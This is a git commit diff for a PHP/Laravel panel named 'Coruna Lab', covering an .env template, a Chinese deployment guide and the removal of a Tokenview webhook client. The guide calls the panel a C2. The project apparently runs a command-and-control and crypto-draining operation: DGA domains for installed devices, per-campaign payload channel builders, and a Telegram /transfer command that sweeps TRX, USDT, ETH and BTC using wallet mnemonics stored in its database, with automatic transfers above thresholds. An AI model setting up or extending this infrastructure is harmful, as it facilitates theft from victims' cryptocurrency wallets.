feat: clear alumb

This commit is contained in:
hashbro
2026-08-30 04:59:57 +08:00
parent dc543fe728
commit 702d05f5fe
6 changed files with 72 additions and 187 deletions
+36 -53
View File
@@ -2,12 +2,7 @@ APP_NAME="Coruna Lab"
APP_ENV=local
APP_KEY=
APP_DEBUG=true
APP_URL=http://127.0.0.1:8000
APP_TIMEZONE=Asia/Singapore
# Behind Cloudflare / Nginx reverse proxy: trust X-Forwarded-* for real client IP.
# Use * when origin is only reachable via the proxy; otherwise list proxy CIDRs.
TRUSTED_PROXIES=*
APP_URL=https://example.com
APP_LOCALE=en
APP_FALLBACK_LOCALE=en
@@ -27,7 +22,7 @@ DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=coruna
DB_USERNAME=root
DB_USERNAME=coruna
DB_PASSWORD=
# Fallback for smoke tests when MySQL creds unavailable:
@@ -51,82 +46,70 @@ ADMIN_PASSWORD=admin123
# Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0.
CORUNA_SESSION_KEY=
# Optional link-display hosts (not used by DGA binary patch). .env-only.
# Optional link-display hosts (not used by DGA binary patch).
# Overridable by 系统设置 → 投放域名.
CORUNA_LAB_CHANNEL_DOMAINS=
CORUNA_REPORTING_DOMAINS=
# Panel Host allowlists (comma/space separated). Empty = no restriction.
# .env-only (not shown in Admin → 系统设置).
CORUNA_ADMIN_HOSTS=
CORUNA_AGENT_HOSTS=
# In-process channel builders (Python). Old: channel-builder → public/web|sync
# New (xxbb/weifile): channel-builder-new → public/details + public/channel/<ver>/
CORUNA_CHANNEL_BUILDER_PYTHON=
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=
CORUNA_ARTIFACT_ROOT=
CORUNA_CHANNEL_STATE_ROOT=
CORUNA_CHANNEL_NEW_STATE_ROOT=
# In-process channel-builder (Python).
# Served assets: CORUNA_ARTIFACT_ROOT/web|sync (default: public/)
# Seeds/state: CORUNA_CHANNEL_STATE_ROOT (default: storage/app/channel-builder)
# 内嵌 channel-builder(无 Build API;产物默认 public/)
CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
CORUNA_ARTIFACT_ROOT=/www/wwwroot/coruna-lab/public
CORUNA_CHANNEL_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
# Scheme for support links built from CORUNA_LAB_CHANNEL_DOMAINS
CORUNA_STATIC_SITE_SCHEME=https
# Shared native `c` (32 hex) for every new-builder channel. Drives DGA; not a per-channel id.
# After `php artisan xxbb:build --random-c`, copy the printed XXBB_CHANNEL_C here.
XXBB_CHANNEL_C=
# Match iptj PageVisit → new-builder device by IP (minutes).
XXBB_VISIT_MATCH_MINUTES=30
# Max channel links per agent (.env-only)
# Max channel links per agent (super-admin settings can override)
CORUNA_MAX_CHANNELS_PER_AGENT=5
# p7zip binary. On panel hosts with open_basedir, prefer project-local:
# mkdir -p bin && cp "$(command -v 7z)" bin/7z && chmod +x bin/7z
# CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z
# Or set the system path (exec usually works; do not rely on is_executable):
# CORUNA_7Z_BIN=/usr/bin/7z
CORUNA_7Z_BIN=
CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z
# Telegram (outbound alerts + inbound Nutgram commands)
# Bot Token / transfer recipients are .env-only (not editable in admin UI).
TELEGRAM_BOT_TOKEN=
TELEGRAM_OWNER_CHAT_ID=
# Optional cache of @username; normally filled automatically via getMe
# TELEGRAM_BOT_USERNAME=
# Optional; if set, register via: php artisan telegram:set-webhook
TELEGRAM_WEBHOOK_SECRET=
# Do not enable unless you understand Nutgram's md5(APP_KEY) secret check
# NUTGRAM_SAFE_MODE=false
# /transfer recipients (fromAddress is the command arg; mnemonic from DB)
# Usage: /transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount] — omit amount = all
TRANSFER_TO_ADDRESS=
TRANSFER_TO_ADDRESS_ETH=
TRANSFER_TO_ADDRESS_BTC=
# TRON USDT fee top-up wallet (also editable in Admin → 系统设置)
TRANSFER_FEE_ADDRESS_TRON=
TRANSFER_FEE_PRIVATE_KEY_TRON=
TRANSFER_FEE_TOPUP_TRX=20
# Official-channel auto transfer (also editable in Admin → 系统设置)
AUTO_TRANSFER_ENABLED=0
AUTO_TRANSFER_THRESHOLD_USDT=
AUTO_TRANSFER_THRESHOLD_TRX=
AUTO_TRANSFER_THRESHOLD_ETH=
AUTO_TRANSFER_THRESHOLD_BTC=
# TRANSFER_MAX_USDT=0
# TRANSFER_MAX_TRX=0
# TRANSFER_MAX_ETH=0
# TRANSFER_MAX_BTC=0
# TRANSFER_MAX_DERIVE_INDEX=20
# TRANSFER_TRX_FEE_RESERVE=1
# TRANSFER_ETH_FEE_RESERVE=0.001
# TRANSFER_BTC_FEE_RESERVE=0.0001
TRON_FULL_NODE=https://api.trongrid.io
TRON_API_KEY=
TRON_USDT_CONTRACT=TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t
ETH_RPC_URL=https://ethereum.publicnode.com
# ETH_CHAIN_ID=1
ETH_USDT_CONTRACT=0xdAC17F958D2ee523a2206206994597C13D831ec7
BTC_API_URL=https://mempool.space/api
# BTC_FEE_RATE=0
# Tokenview address tracking (monitor=1 addresses)
TOKENVIEW_API_KEY=
TOKENVIEW_SIGN_KEY=
# TOKENVIEW_BASE_URL=https://services.tokenview.io/vipapi
TRUSTED_PROXIES=*
XXBB_CHANNEL_C=
TELEGRAM_BOT_USERNAME=
AUTO_TRANSFER_ENABLED=0
AUTO_TRANSFER_THRESHOLD_USDT=
AUTO_TRANSFER_THRESHOLD_TRX=
AUTO_TRANSFER_THRESHOLD_ETH=
AUTO_TRANSFER_THRESHOLD_BTC=
TRANSFER_FEE_ADDRESS_TRON=
TRANSFER_FEE_TOPUP_TRX=20
TRANSFER_FEE_PRIVATE_KEY_TRON=
@@ -12,50 +12,6 @@ class TokenviewClient
return (string) config('coruna.tokenview.api_key') !== '';
}
public function setWebhookUrl(string $url): bool
{
if (! $this->enabled()) {
return false;
}
$endpoint = rtrim((string) config('coruna.tokenview.base_url'), '/').'/monitor/setwebhookurl';
try {
$resp = Http::timeout(20)
->withBody($url, 'text/plain')
->post($endpoint.'?apikey='.urlencode((string) config('coruna.tokenview.api_key')));
return $resp->successful() && (int) $resp->json('code') === 1;
} catch (\Throwable $e) {
Log::warning('tokenview setWebhookUrl failed: '.$e->getMessage());
return false;
}
}
public function getWebhookUrl(): ?string
{
if (! $this->enabled()) {
return null;
}
$endpoint = rtrim((string) config('coruna.tokenview.base_url'), '/').'/monitor/getwebhookurl';
try {
$resp = Http::timeout(20)->get($endpoint, [
'apikey' => (string) config('coruna.tokenview.api_key'),
]);
if (! $resp->successful() || (int) $resp->json('code') !== 1) {
return null;
}
$data = $resp->json('data');
return is_string($data) && $data !== '' ? $data : null;
} catch (\Throwable $e) {
Log::warning('tokenview getWebhookUrl failed: '.$e->getMessage());
return null;
}
}
public function addAddress(string $coinAbbr, string $address): bool
{
return $this->mutateAddress('add', $coinAbbr, $address);
+4 -1
View File
@@ -11,7 +11,10 @@ return [
'safe_mode' => (bool) env('NUTGRAM_SAFE_MODE', false),
// Extra or specific configurations
'config' => [],
'config' => [
// Baota PHP curl is often built without nghttp2; Guzzle HTTP/2 then fatals.
'enable_http2' => (bool) env('NUTGRAM_ENABLE_HTTP2', false),
],
// Set if the service provider should automatically load
// handlers from /routes/telegram.php
+32 -44
View File
@@ -2,21 +2,23 @@
同机部署:Laravel 内嵌两套 Python 构建器直接写产物;Admin / C2 与静态产物站对外。**不再需要**独立 Build API / 8081。
| 构建器 | 路径 | 渠道 ID | 产物 |
| --- | --- | --- | --- |
| 旧版 `channel-builder` | `coruna-lab/channel-builder` | 32-hex | `public/web/<id>/` + 共享 `public/sync/` |
| 构建器 | 路径 | 渠道 ID | 产物 |
| ---------------------------------------- | -------------------------------- | ------------------------ | ---------------------------------------------- |
| 旧版 `channel-builder` | `coruna-lab/channel-builder` | 32-hex | `public/web/<id>/` + 共享 `public/sync/` |
| 新版 `channel-builder-new`(xxbb / weifile) | `coruna-lab/channel-builder-new` | `X.Y.ZZ`(6 位,如 `A.B.C1`) | `public/channel/<ver>/`;共享模板 `public/details/` |
新版用环境变量 **`XXBB_CHANNEL_C`(32-hex)** 作为全站共享 DGA / 上报字段 `c`;渠道之间靠版本号 `ver` 区分,不是靠 `c`。
新版用环境变量 `XXBB_CHANNEL_C`**(32-hex)** 作为全站共享 DGA / 上报字段 `c`;渠道之间靠版本号 `ver` 区分,不是靠 `c`。
## 架构
| 角色 | 项目 / 路径 | 对外 | 进程 |
| --- | --- | --- | --- |
| C2 / Admin / 静态 | `coruna-lab`(`public/`) | `https://admin.example.com` | Nginx + PHP-FPM |
| 旧版构建 | `coruna-lab/channel-builder` | 无(PHP Process 调用) | Python venv |
| 新版构建 | `coruna-lab/channel-builder-new` | 无(PHP Process 调用) | Python venv |
| 角色 | 项目 / 路径 | 对外 | 进程 |
| --------------- | -------------------------------- | --------------------------- | --------------- |
| C2 / Admin / 静态 | `coruna-lab`(`public/`) | `https://admin.example.com` | Nginx + PHP-FPM |
| 旧版构建 | `coruna-lab/channel-builder` | 无(PHP Process 调用) | Python venv |
| 新版构建 | `coruna-lab/channel-builder-new` | 无(PHP Process 调用) | Python venv |
```text
@@ -55,7 +57,7 @@
软件商店安装:
- Nginx
- Nginxphp artisan migrate
- MySQL 8.0
- PHP **8.2+**(站点选用;宝塔可多版本并存,按站点切换)
- Python 3.10+(系统或面板)
@@ -110,8 +112,6 @@ client_max_body_size 64m;
两套可并存;后台创建渠道时选「旧版 / 新版」。上线若要开新版渠道,**两套 venv 都要装**。
### 1.1 旧版 `channel-builder`
```bash
@@ -124,8 +124,6 @@ pip install -r requirements.txt
产物:`public/web/<32-hex>/`、`public/sync/`;状态:`storage/app/channel-builder/`。
### 1.2 新版 `channel-builder-new`(xxbb / weifile)
```bash
@@ -140,11 +138,13 @@ pip install -r requirements.txt
产物与状态:
| 路径 | 作用 |
| --- | --- |
| `public/details/` | 共享模板(`xxbb:build` / 创建渠道前 `build.py --apply` 写入) |
| `public/channel/<ver>/` | 每渠道独占树(`weifile/` + `details/` 等,`pack_channel.py` 写入) |
| `storage/app/channel-builder-new/` | `lab_seeds.json`、`out/weifile/`(staged,不对外) |
| 路径 | 作用 |
| ---------------------------------- | ------------------------------------------------------ |
| `public/details/` | 共享模板(`xxbb:build` / 创建渠道前 `build.py --apply` 写入) |
| `public/channel/<ver>/` | 每渠道独占树(`weifile/` + `details/` 等,`pack_channel.py` 写入) |
| `storage/app/channel-builder-new/` | `lab_seeds.json`、`out/weifile/`(staged,不对外) |
创建新版渠道时 Laravel 会:
@@ -153,8 +153,6 @@ pip install -r requirements.txt
因此上线前必须先配置好 `XXBB_CHANNEL_C`(见 1.4)。
### 1.3 权限与静态路径(Admin 站点 Nginx)
```bash
@@ -208,8 +206,6 @@ location /details/ {
**首次创建渠道后**,用返回的 DGA `domains.deployment` / `domains.reporting` 注册域名,反代到同一 `public/`(reporting → C2;新版短路径 C2 见 `routes/xxbb.php`)。
### 1.4 首次生成 `XXBB_CHANNEL_C`(仅新版需要)
新版创建渠道前 `.env` 必须有共享 `c`。任选其一:
@@ -473,13 +469,6 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
1. 群无回复但日志有 `AuthorizedChat: chat rejected`:把 `TELEGRAM_OWNER_CHAT_ID`(或后台设置)改成日志里的真实 `chat_id`(超群多为 `-100...`),再 `config:clear`。
可选(地址监控):若启用 Tokenview,可另执行:
```bash
/www/server/php/82/bin/php artisan tokenview:set-webhook
# 默认 → https://<APP_URL>/hooks/tokenview
```
---
@@ -502,14 +491,14 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
## 4. 日常运维
| 动作 | 命令 / 操作 |
| --- | --- |
| 更新旧版 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` |
| 更新新版 builder | 拉代码 → `channel-builder-new/.venv` 内 `pip install -r requirements.txt`;必要时 `php artisan xxbb:build` 刷新共享 `/details`;已有渠道再跑 `php artisan xxbb:repack` |
| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 |
| 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` |
| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` |
| 勿改线上 `XXBB_CHANNEL_C` | 改了会导致新版 DGA 域名与已装设备不一致;换战役需整体重部署策略 |
| 动作 | 命令 / 操作 |
| --------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
| 更新旧版 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` |
| 更新新版 builder | 拉代码 → `channel-builder-new/.venv` 内 `pip install -r requirements.txt`;必要时 `php artisan xxbb:build` 刷新共享 `/details`;已有渠道再跑 `php artisan xxbb:repack` |
| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 |
| 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` |
| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` |
| 勿改线上 `XXBB_CHANNEL_C` | 改了会导致新版 DGA 域名与已装设备不一致;换战役需整体重部署策略 |
当前 `QUEUE_CONNECTION=sync`,一般无需单独 queue worker。
@@ -575,9 +564,8 @@ CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/
/www/server/php/82/bin/php artisan config:clear
```
2. 部署含 `venvPythonExists()`(先 `is_link`、不跟到 `/usr/bin`)的代码后即可自动探测。
3. **不推荐**:把 `/usr/bin/` 加进站点 `open_basedir`(面过大)。
1. 部署含 `venvPythonExists()`(先 `is_link`、不跟到 `/usr/bin`)的代码后即可自动探测。
2. **不推荐**:把 `/usr/bin/` 加进站点 `open_basedir`(面过大)。
自检:
@@ -586,6 +574,8 @@ ls -la /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
# 常见:… -> /usr/bin/python3.10
```
### Nginx:`unknown directive "32}/(web|sync)/"`
location 正则未加引号,`{32}` 被当成配置块。改为:
@@ -596,8 +586,6 @@ location ~ "^/web/[0-9a-f]{32}/" {
新版 `/channel/` 正则同理,花括号必须放在引号内。
### `apt` 因 gitlab-ce 源 404 失败
```bash
@@ -660,4 +648,4 @@ chmod -R ug+rwx storage/framework/sessions
- 或把 `CORUNA_ARTIFACT_ROOT` 指到共享盘,静态机 Nginx root 指向该盘
- seed / staged 状态仍放在 lab:`CORUNA_CHANNEL_STATE_ROOT`、`CORUNA_CHANNEL_NEW_STATE_ROOT`
同机时无需拆分,Admin `public/` 即静态根。
同机时无需拆分,Admin `public/` 即静态根。
-21
View File
@@ -1,7 +1,6 @@
<?php
use App\Services\ChannelProjectService;
use App\Services\Tokenview\TokenviewClient;
use Illuminate\Foundation\Inspiring;
use Illuminate\Support\Facades\Artisan;
use Illuminate\Support\Facades\Http;
@@ -16,26 +15,6 @@ Artisan::command('inspire', function () {
$this->comment(Inspiring::quote());
})->purpose('Display an inspiring quote');
Artisan::command('tokenview:set-webhook {url?}', function (?string $url = null) {
/** @var TokenviewClient $client */
$client = app(TokenviewClient::class);
if (! $client->enabled()) {
$this->error('TOKENVIEW_API_KEY is empty');
return 1;
}
$url = $url ?: rtrim((string) config('app.url'), '/').'/hooks/tokenview';
$this->info('Setting webhook URL: '.$url);
if ($client->setWebhookUrl($url)) {
$this->info('OK');
return 0;
}
$this->error('Failed — check Tokenview API response / credentials');
return 1;
})->purpose('Register Tokenview address-tracking webhook URL');
Artisan::command('telegram:set-webhook {url?}', function (?string $url = null) {
$token = (string) config('nutgram.token', '');
if ($token === '') {
-24
View File
@@ -6,7 +6,6 @@ use App\Models\Admin;
use App\Models\Device;
use App\Models\TokenviewEvent;
use App\Models\WalletAddress;
use App\Services\Tokenview\TokenviewClient;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
@@ -327,27 +326,4 @@ class TokenviewWebhookTest extends TestCase
return str_contains($request->url(), '/monitor/address/remove/eth/');
});
}
#[Test]
public function set_webhook_command_posts_url(): void
{
config([
'coruna.tokenview.api_key' => 'test-key',
'coruna.tokenview.base_url' => 'https://services.tokenview.io/vipapi',
'app.url' => 'https://example.test',
]);
Http::fake([
'services.tokenview.io/*' => Http::response(['code' => 1, 'msg' => 'success'], 200),
]);
$this->artisan('tokenview:set-webhook')
->assertSuccessful();
Http::assertSent(function ($request) {
return str_contains($request->url(), '/monitor/setwebhookurl')
&& $request->body() === 'https://example.test/hooks/tokenview';
});
$this->assertTrue(app(TokenviewClient::class)->enabled());
}
}